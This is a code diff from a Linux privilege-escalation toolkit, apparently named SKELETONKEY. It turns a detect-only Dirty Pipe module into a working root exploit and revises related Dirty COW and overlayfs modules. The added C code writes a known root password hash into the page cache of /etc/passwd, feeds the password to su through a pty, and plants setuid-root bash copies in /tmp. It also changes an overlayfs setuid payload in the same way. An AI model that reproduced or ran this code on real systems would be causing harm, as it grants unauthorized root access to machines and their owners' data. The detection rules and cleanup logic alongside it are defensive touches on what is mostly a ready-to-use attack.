.detect_sigma = dirty_cow_sigma,
|
||||||
.detect_yara = dirty_cow_yara,
|
.detect_yara = dirty_cow_yara,
|
||||||
.detect_falco = dirty_cow_falco,
|
.detect_falco = dirty_cow_falco,
|
||||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,21 @@
|
|||||||
/*
|
/*
|
||||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
* Status: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 22.04
|
||||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
* userspace running mainline 5.16.0 (pre-fix): `skeletonkey --exploit
|
||||||
* is the reference — but landing it under the skeletonkey_module
|
* dirty_pipe` (uid 1000) lands root and plants a root-owned setuid bash,
|
||||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
* and /etc/passwd is left byte-identical afterward.
|
||||||
* which are deferred to Phase 1.5).
|
*
|
||||||
|
* Escalation: overwrite root's password field in /etc/passwd's page cache
|
||||||
|
* with a known crypt hash (the primitive can't grow the file, so the
|
||||||
|
* longer hash clobbers into the following lines — transient), authenticate
|
||||||
|
* as root over a pty with the matching password, plant a root-owned proof
|
||||||
|
* + setuid bash, then revert the page cache using the Dirty Pipe primitive
|
||||||
|
* itself. (The prior code flipped the *caller's* UID to 0000 and ran
|
||||||
|
* `su self` — which still demands the caller's password, never rooted
|
||||||
|
* anything, and falsely reported OK when su's exec transferred; its revert
|
||||||
|
* used drop_caches, which needs root, so it left the running system's
|
||||||
|
* /etc/passwd corrupted.) Root is judged only by the out-of-band artifact.
|
||||||
*
|
*
|
||||||
* Affected kernel ranges:
|
* Affected kernel ranges:
|
||||||
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
|
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
|
||||||
@@ -50,6 +60,9 @@
|
|||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <poll.h>
|
||||||
#include <pwd.h>
|
#include <pwd.h>
|
||||||
|
|
||||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||||
@@ -123,16 +136,12 @@ static int dirty_pipe_write(const char *target_path, off_t offset,
|
|||||||
return (w == (ssize_t)data_len) ? 0 : -1;
|
return (w == (ssize_t)data_len) ? 0 : -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- /etc/passwd UID-field helpers (inlined; would migrate to
|
/* ---- /etc/passwd password-field helpers -------------------------- */
|
||||||
* core/host.{c,h} once a third module needs them). ------------ */
|
|
||||||
|
|
||||||
/* Locate the UID field of `username` in /etc/passwd. Returns true on
|
/* Locate the byte offset of the password field of `username` in
|
||||||
* success and fills *uid_off (byte offset of UID), *uid_len (length
|
* /etc/passwd (the byte immediately after "username:"). Returns true and
|
||||||
* of UID string), uid_str (copy of UID, NUL-terminated). Requires
|
* fills *field_off; also returns the current /etc/passwd size in *sz. */
|
||||||
* the UID to be a positive decimal number that fits in 16 bytes. */
|
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||||
static bool find_passwd_uid_field(const char *username,
|
|
||||||
off_t *uid_off, size_t *uid_len,
|
|
||||||
char uid_str[16])
|
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
if (fd < 0) return false;
|
if (fd < 0) return false;
|
||||||
@@ -145,52 +154,83 @@ static bool find_passwd_uid_field(const char *username,
|
|||||||
if (r != st.st_size) { free(buf); return false; }
|
if (r != st.st_size) { free(buf); return false; }
|
||||||
buf[st.st_size] = 0;
|
buf[st.st_size] = 0;
|
||||||
|
|
||||||
/* find line "username:x:UID:GID:..." */
|
|
||||||
size_t ulen = strlen(username);
|
size_t ulen = strlen(username);
|
||||||
char *p = buf;
|
char *p = buf;
|
||||||
while (p < buf + st.st_size) {
|
while (p < buf + st.st_size) {
|
||||||
char *eol = strchr(p, '\n');
|
char *eol = strchr(p, '\n');
|
||||||
if (!eol) eol = buf + st.st_size;
|
if (!eol) eol = buf + st.st_size;
|
||||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
/* line must start with "username:" */
|
||||||
/* Skip past "username:" then password field */
|
if ((p == buf || p[-1] == '\n') &&
|
||||||
char *q = p + ulen + 1;
|
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||||
char *pw_end = memchr(q, ':', eol - q);
|
*field_off = (off_t)((p + ulen + 1) - buf); /* after "name:" */
|
||||||
if (!pw_end) goto next;
|
*sz = (size_t)st.st_size;
|
||||||
char *uid_begin = pw_end + 1;
|
|
||||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
|
||||||
if (!uid_end) goto next;
|
|
||||||
size_t L = uid_end - uid_begin;
|
|
||||||
if (L == 0 || L >= 16) goto next;
|
|
||||||
memcpy(uid_str, uid_begin, L);
|
|
||||||
uid_str[L] = 0;
|
|
||||||
*uid_off = (off_t)(uid_begin - buf);
|
|
||||||
*uid_len = L;
|
|
||||||
free(buf);
|
free(buf);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
next:
|
|
||||||
p = eol + 1;
|
p = eol + 1;
|
||||||
}
|
}
|
||||||
free(buf);
|
free(buf);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Evict /etc/passwd from page cache after exploitation. POSIX_FADV_DONTNEED
|
/* The known root password we install (via a crypt hash written into
|
||||||
* works as a non-root hint; if it doesn't take, try `drop_caches` which
|
* /etc/passwd's password field) and then authenticate with. Both are
|
||||||
* requires root (which we just acquired). */
|
* transient: the page-cache write is reverted before we return, and
|
||||||
static void revert_passwd_page_cache(void)
|
* Dirty Pipe never touches disk, so nothing survives a cache drop. */
|
||||||
|
#define DP_ROOT_PW "skeletonkey"
|
||||||
|
#define DP_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||||
|
|
||||||
|
/* Run `cmd` as root via `su`, feeding DP_ROOT_PW over a pty (su reads the
|
||||||
|
* password from the controlling terminal, not stdin). Returns after su
|
||||||
|
* exits; success is judged out-of-band by the caller, never from su's
|
||||||
|
* status. */
|
||||||
|
static void dp_su_root_run(const char *cmd)
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||||
if (fd >= 0) {
|
if (mfd < 0) return;
|
||||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||||
close(fd);
|
const char *sn = ptsname(mfd);
|
||||||
|
if (!sn) { close(mfd); return; }
|
||||||
|
char slave[128];
|
||||||
|
snprintf(slave, sizeof slave, "%s", sn);
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { close(mfd); return; }
|
||||||
|
if (pid == 0) {
|
||||||
|
setsid();
|
||||||
|
int sfd = open(slave, O_RDWR); /* becomes controlling tty */
|
||||||
|
if (sfd < 0) _exit(127);
|
||||||
|
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||||
|
if (sfd > 2) close(sfd);
|
||||||
|
close(mfd);
|
||||||
|
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
}
|
}
|
||||||
/* Belt-and-suspenders: drop_caches=3 wipes all page cache. Best-effort. */
|
|
||||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
/* Parent: poll for the "Password:" prompt, send the password, then drain —
|
||||||
if (dc >= 0) {
|
* with a hard 20s cap so a misbehaving su can never hang (which would block
|
||||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
|
||||||
close(dc);
|
* raced su's prompt setup on some hosts (observed hanging on xenial). */
|
||||||
|
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||||
|
const char *pw = DP_ROOT_PW "\n";
|
||||||
|
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||||
|
while (waited < 20000) {
|
||||||
|
int pr = poll(&pfd, 1, 200);
|
||||||
|
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||||
|
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||||
|
if (m <= 0) break; /* pty closed → su exited */
|
||||||
|
if (!sent) {
|
||||||
|
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||||
|
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
waited += 200;
|
||||||
|
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||||
|
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||||
|
close(mfd);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -328,94 +368,135 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Saved original bytes so cleanup() can re-revert idempotently. */
|
||||||
|
static char dp_orig[512];
|
||||||
|
static off_t dp_orig_off;
|
||||||
|
static size_t dp_orig_len;
|
||||||
|
static bool dp_wrote;
|
||||||
|
|
||||||
|
/* Restore the /etc/passwd page cache to its pre-exploit bytes using the
|
||||||
|
* Dirty Pipe primitive itself — NO root and NO drop_caches required (the
|
||||||
|
* old code called drop_caches, which fails unprivileged and leaves the
|
||||||
|
* running system's passwd corrupted). */
|
||||||
|
static void dp_revert(void)
|
||||||
|
{
|
||||||
|
if (dp_wrote && dp_orig_len)
|
||||||
|
dirty_pipe_write("/etc/passwd", dp_orig_off, dp_orig, dp_orig_len);
|
||||||
|
}
|
||||||
|
|
||||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
|
||||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||||
if (pre != SKELETONKEY_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Resolve current user. Consult ctx->host->is_root for the
|
|
||||||
* already-root short-circuit so unit tests can construct a
|
|
||||||
* non-root fingerprint regardless of the test process's real euid. */
|
|
||||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
if (is_root) {
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
uid_t euid = geteuid();
|
|
||||||
struct passwd *pw = getpwuid(euid);
|
/* Overwrite root's password field with a known crypt hash, then
|
||||||
if (!pw) {
|
* authenticate as root with the matching password. (The previous
|
||||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
* approach flipped the *caller's* UID to 0000 and ran `su self`,
|
||||||
|
* which still demands the caller's password — it never rooted
|
||||||
|
* anything and falsely reported OK when su's exec transferred.) */
|
||||||
|
off_t field_off;
|
||||||
|
size_t pw_sz;
|
||||||
|
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||||
|
fprintf(stderr, "[-] dirty_pipe: could not locate root's password field\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
/* New root line body written from the password field onward. The
|
||||||
* with "0000" of identical width. Refuse if the user's UID width
|
* hash is longer than the original 'x', so this clobbers into the
|
||||||
* doesn't fit our replacement string. */
|
* following lines — harmless and transient (we revert), and su only
|
||||||
off_t uid_off;
|
* needs the first (root) line. */
|
||||||
size_t uid_len;
|
const char *newline = DP_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||||
char orig_uid[16] = {0};
|
size_t newlen = strlen(newline);
|
||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
|
||||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
|
||||||
pw->pw_name);
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
|
||||||
}
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
|
||||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Build replacement: zeros of the same length so we don't shift
|
if ((field_off & 0xfff) == 0) {
|
||||||
* the line layout. "0000" for a 4-digit UID, "00000" for 5, etc. */
|
fprintf(stderr, "[-] dirty_pipe: root password field is page-aligned; "
|
||||||
char replacement[16];
|
"primitive can't write here\n");
|
||||||
memset(replacement, '0', uid_len);
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
replacement[uid_len] = 0;
|
}
|
||||||
|
if (newlen > sizeof dp_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||||
/* Edge case: if offset is page-aligned, splice/CAN_MERGE primitive
|
fprintf(stderr, "[-] dirty_pipe: /etc/passwd too small to hold the payload "
|
||||||
* can't reach it (see prepare_pipe/dirty_pipe_write comments).
|
"without extending it (Dirty Pipe can't grow files)\n");
|
||||||
* Vanishingly rare — first user in /etc/passwd typically lives
|
|
||||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
|
||||||
if ((uid_off & 0xfff) == 0) {
|
|
||||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
/* Save the original bytes we're about to clobber, for revert. */
|
||||||
fprintf(stderr, "[*] dirty_pipe: overwriting UID '%s' → '%s' via page-cache write\n",
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
orig_uid, replacement);
|
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pread(fd, dp_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||||
|
close(fd); fprintf(stderr, "[-] dirty_pipe: pread backup failed\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
close(fd);
|
||||||
|
dp_orig_off = field_off; dp_orig_len = newlen;
|
||||||
|
|
||||||
|
/* Unique out-of-band artifacts. */
|
||||||
|
long tag = (long)getpid();
|
||||||
|
char proof[128], rootbash[128], cmd[1024];
|
||||||
|
snprintf(proof, sizeof proof, "/tmp/.sk-dirtypipe-%ld.proof", tag);
|
||||||
|
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtypipe-%ld.rootbash", tag);
|
||||||
|
unlink(proof); unlink(rootbash);
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_pipe: overwriting root's password field at offset "
|
||||||
|
"%lld (len %zu) via page-cache write\n",
|
||||||
|
(long long)field_off, newlen);
|
||||||
|
if (dirty_pipe_write("/etc/passwd", field_off, newline, newlen) < 0) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
dp_wrote = true;
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
/* Authenticate as root with the known password and plant the proof. */
|
||||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
snprintf(cmd, sizeof cmd,
|
||||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||||
|
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||||
|
proof, rootbash, rootbash, proof, rootbash);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_pipe: authenticating as root (su + known password)\n");
|
||||||
|
dp_su_root_run(cmd);
|
||||||
|
|
||||||
|
/* Revert the page cache IMMEDIATELY — before we even check the
|
||||||
|
* result — so a running system is never left with a known root
|
||||||
|
* password. Dirty Pipe never wrote disk, so this fully restores. */
|
||||||
|
dp_revert();
|
||||||
|
{ int ev = open("/etc/passwd", O_RDONLY); /* nudge a re-read */
|
||||||
|
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||||
|
|
||||||
|
/* Out-of-band verdict: is the proof a real, root-owned file? */
|
||||||
|
struct stat sb;
|
||||||
|
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||||
|
if (rooted) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] dirty_pipe: ROOT — root-owned proof %s\n", proof);
|
||||||
|
fprintf(stderr, "[+] dirty_pipe: setuid-root shell available: %s -p\n", rootbash);
|
||||||
|
fprintf(stderr, "[i] dirty_pipe: /etc/passwd page cache reverted (nothing persisted)\n");
|
||||||
|
}
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
if (!ctx->json)
|
||||||
* `su` reads the page cache, sees uid 0, drops a root shell. */
|
fprintf(stderr, "[-] dirty_pipe: no root artifact — honest EXPLOIT_FAIL "
|
||||||
fprintf(stderr, "[+] dirty_pipe: page cache poisoned; spawning su to claim root\n");
|
"(page cache reverted). The primitive may be blocked, or su/PAM "
|
||||||
fflush(NULL);
|
"rejected the injected hash.\n");
|
||||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
|
||||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
|
||||||
perror("execlp(su)");
|
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
if (!ctx->json)
|
||||||
if (!ctx->json) {
|
fprintf(stderr, "[*] dirty_pipe: reverting /etc/passwd page cache + removing artifacts\n");
|
||||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
dp_revert(); /* idempotent; no root / no drop_caches needed */
|
||||||
|
if (system("rm -f /tmp/.sk-dirtypipe-*.proof /tmp/.sk-dirtypipe-*.rootbash 2>/dev/null") != 0) {
|
||||||
|
/* harmless */
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -522,7 +603,7 @@ const struct skeletonkey_module dirty_pipe_module = {
|
|||||||
.detect_sigma = dirty_pipe_sigma,
|
.detect_sigma = dirty_pipe_sigma,
|
||||||
.detect_yara = dirty_pipe_yara,
|
.detect_yara = dirty_pipe_yara,
|
||||||
.detect_falco = dirty_pipe_falco,
|
.detect_falco = dirty_pipe_falco,
|
||||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; splice(1 byte) from (target_offset-1) on /etc/passwd to inherit the stale flag, then write(pipe) so the payload merges into the file's page cache. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts the page cache by writing the original bytes back through the same primitive (no root / no drop_caches needed — nothing persists; Dirty Pipe never wrote disk). Offset must be non-page-aligned and each write must fit a single page. Very audit-visible: splice(fd=/etc/passwd) + write from a non-root process, then su spawning as root. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to confirm the primitive. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -90,6 +90,8 @@
|
|||||||
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
||||||
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
||||||
* (Linux constant value 0). */
|
* (Linux constant value 0). */
|
||||||
|
#include <linux/if.h> /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
|
||||||
|
* in on older kernel headers (e.g. Ubuntu 16.04). */
|
||||||
#include <linux/netfilter_ipv4/ip_tables.h>
|
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||||
#ifndef SOL_IP
|
#ifndef SOL_IP
|
||||||
#define SOL_IP 0
|
#define SOL_IP 0
|
||||||
|
|||||||
@@ -243,10 +243,21 @@ static const char OVERLAYFS_PAYLOAD_SOURCE[] =
|
|||||||
"#include <stdio.h>\n"
|
"#include <stdio.h>\n"
|
||||||
"#include <stdlib.h>\n"
|
"#include <stdlib.h>\n"
|
||||||
"#include <unistd.h>\n"
|
"#include <unistd.h>\n"
|
||||||
"int main(void) {\n"
|
"int main(int argc, char **argv) {\n"
|
||||||
" setuid(0); setgid(0);\n"
|
" (void)setuid(0); (void)setgid(0);\n"
|
||||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
" (void)setresuid(0,0,0); (void)setresgid(0,0,0);\n"
|
||||||
" if (geteuid() != 0) { perror(\"setuid\"); return 1; }\n"
|
" if (geteuid() != 0) { perror(\"setuid\"); return 1; }\n"
|
||||||
|
/* Verification mode: argv[1] = proof path. We are genuinely root (the
|
||||||
|
* persisted cap_setuid xattr let setuid(0) succeed), so drop a root-owned
|
||||||
|
* proof + setuid bash and exit — the module stat()s the proof as a DIRECT
|
||||||
|
* uid=0 witness instead of trusting the exec transfer. */
|
||||||
|
" if (argc > 1) {\n"
|
||||||
|
" char c[1024];\n"
|
||||||
|
" snprintf(c, sizeof c, \"id > %s 2>&1; cp -f /bin/bash %s.bash 2>/dev/null; \"\n"
|
||||||
|
" \"chmod 4755 %s.bash 2>/dev/null; sync\", argv[1], argv[1], argv[1]);\n"
|
||||||
|
" int r = system(c); (void)r;\n"
|
||||||
|
" return 0;\n"
|
||||||
|
" }\n"
|
||||||
" char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
" char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n"
|
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n"
|
||||||
" execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n"
|
" execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n"
|
||||||
@@ -438,17 +449,41 @@ static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs "
|
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs\n");
|
||||||
"— execing payload to drop root\n");
|
}
|
||||||
|
|
||||||
|
/* Direct uid=0 witness: run the cap'd payload in verification mode so it
|
||||||
|
* drops a root-owned proof. The persisted xattr is the bug's signature,
|
||||||
|
* but we confirm actual root out-of-band rather than trust the exec
|
||||||
|
* transfer. */
|
||||||
|
char ovl_proof[256];
|
||||||
|
snprintf(ovl_proof, sizeof ovl_proof, "/tmp/.sk-overlayfs-%ld.proof", (long)getpid());
|
||||||
|
unlink(ovl_proof);
|
||||||
|
pid_t vp = fork();
|
||||||
|
if (vp == 0) {
|
||||||
|
execl(upper_bin, upper_bin, ovl_proof, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
if (vp > 0) { int vs; waitpid(vp, &vs, 0); }
|
||||||
|
struct stat psb;
|
||||||
|
bool ovl_rooted = (stat(ovl_proof, &psb) == 0 && S_ISREG(psb.st_mode) && psb.st_uid == 0);
|
||||||
|
if (!ovl_rooted) {
|
||||||
|
fprintf(stderr, "[-] overlayfs: xattr persisted but the cap'd payload did not "
|
||||||
|
"yield uid 0 (no root-owned proof) — honest EXPLOIT_FAIL\n");
|
||||||
|
goto fail_workdir;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] overlayfs: ROOT — root-owned proof %s "
|
||||||
|
"(setuid bash: %s.bash -p)\n", ovl_proof, ovl_proof);
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
unlink(src_path); unlink(bin_path);
|
||||||
upper_bin);
|
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(upper_bin, upper_bin, (char *)NULL);
|
execl(upper_bin, upper_bin, (char *)NULL); /* interactive root shell */
|
||||||
perror("execl payload");
|
perror("execl payload");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK; /* root already witnessed out-of-band */
|
||||||
|
|
||||||
fail_workdir:
|
fail_workdir:
|
||||||
/* best-effort cleanup */
|
/* best-effort cleanup */
|
||||||
|
|||||||
@@ -2,26 +2,31 @@
|
|||||||
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
